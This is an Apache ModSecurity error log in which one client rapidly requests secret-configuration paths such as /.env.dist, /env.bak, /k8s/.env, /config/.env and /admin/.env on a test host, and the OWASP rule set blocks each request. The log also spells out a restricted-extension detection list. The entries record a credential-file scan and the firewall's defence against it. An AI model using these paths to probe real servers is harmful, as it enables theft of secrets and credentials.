[Mon Jul 28 20:45:56.061615 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aIfFZF4f-9g1kJksHwueHwAAAAk&quot;]
[Mon Jul 28 20:45:56.061782 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aIfFZF4f-9g1kJksHwueHwAAAAk&quot;]
[Mon Jul 28 20:45:56.083644 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample.php&quot;] [unique_id &quot;aIfFZF4f-9g1kJksHwueIAAAAAk&quot;]
[Mon Jul 28 20:45:56.083855 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample.php&quot;] [unique_id &quot;aIfFZF4f-9g1kJksHwueIAAAAAk&quot;]
[Mon Jul 28 20:45:56.084022 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample.php&quot;] [unique_id &quot;aIfFZF4f-9g1kJksHwueIAAAAAk&quot;]
[Mon Jul 28 20:45:56.106028 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aIfFZF4f-9g1kJksHwueIQAAAAk&quot;]
[Mon Jul 28 20:45:56.106230 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aIfFZF4f-9g1kJksHwueIQAAAAk&quot;]
[Mon Jul 28 20:45:56.106421 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aIfFZF4f-9g1kJksHwueIQAAAAk&quot;]
[Mon Jul 28 20:45:56.196912 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aIfFZF4f-9g1kJksHwueJQAAAAk&quot;]
[Mon Jul 28 20:45:56.197231 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aIfFZF4f-9g1kJksHwueJQAAAAk&quot;]
[Mon Jul 28 20:45:56.197409 2025] [:error] [pid 1534267] [client 185.177.72.201:35948] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aIfFZF4f-9g1kJksHwueJQAAAAk&quot;]
[Mon Jul 28 20:45:56.468315 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /k8s/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNHwAAAAQ&quot;]
[Mon Jul 28 20:45:56.468563 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNHwAAAAQ&quot;]
[Mon Jul 28 20:45:56.468736 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNHwAAAAQ&quot;]
[Mon Jul 28 20:45:56.491015 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNIAAAAAQ&quot;]
[Mon Jul 28 20:45:56.491245 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNIAAAAAQ&quot;]
[Mon Jul 28 20:45:56.491409 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNIAAAAAQ&quot;]
[Mon Jul 28 20:45:56.513688 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNIQAAAAQ&quot;]
[Mon Jul 28 20:45:56.513912 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNIQAAAAQ&quot;]
[Mon Jul 28 20:45:56.514091 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNIQAAAAQ&quot;]
[Mon Jul 28 20:45:56.535814 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNIgAAAAQ&quot;]
[Mon Jul 28 20:45:56.536043 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNIgAAAAQ&quot;]
[Mon Jul 28 20:45:56.536216 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNIgAAAAQ&quot;]
[Mon Jul 28 20:45:56.572826 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNIwAAAAQ&quot;]
[Mon Jul 28 20:45:56.573107 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNIwAAAAQ&quot;]
[Mon Jul 28 20:45:56.573354 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNIwAAAAQ&quot;]
[Mon Jul 28 20:45:56.595066 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNJAAAAAQ&quot;]
[Mon Jul 28 20:45:56.595284 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNJAAAAAQ&quot;]
[Mon Jul 28 20:45:56.595456 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNJAAAAAQ&quot;]
[Mon Jul 28 20:45:56.617145 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNJQAAAAQ&quot;]
[Mon Jul 28 20:45:56.617349 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNJQAAAAQ&quot;]
[Mon Jul 28 20:45:56.617506 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNJQAAAAQ&quot;]
[Mon Jul 28 20:45:56.639091 2025] [:error] [pid 1533990] [client 185.177.72.201:35958] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aIfFZOXeAg5fi4n6U5fNJgAAAAQ&quot;]
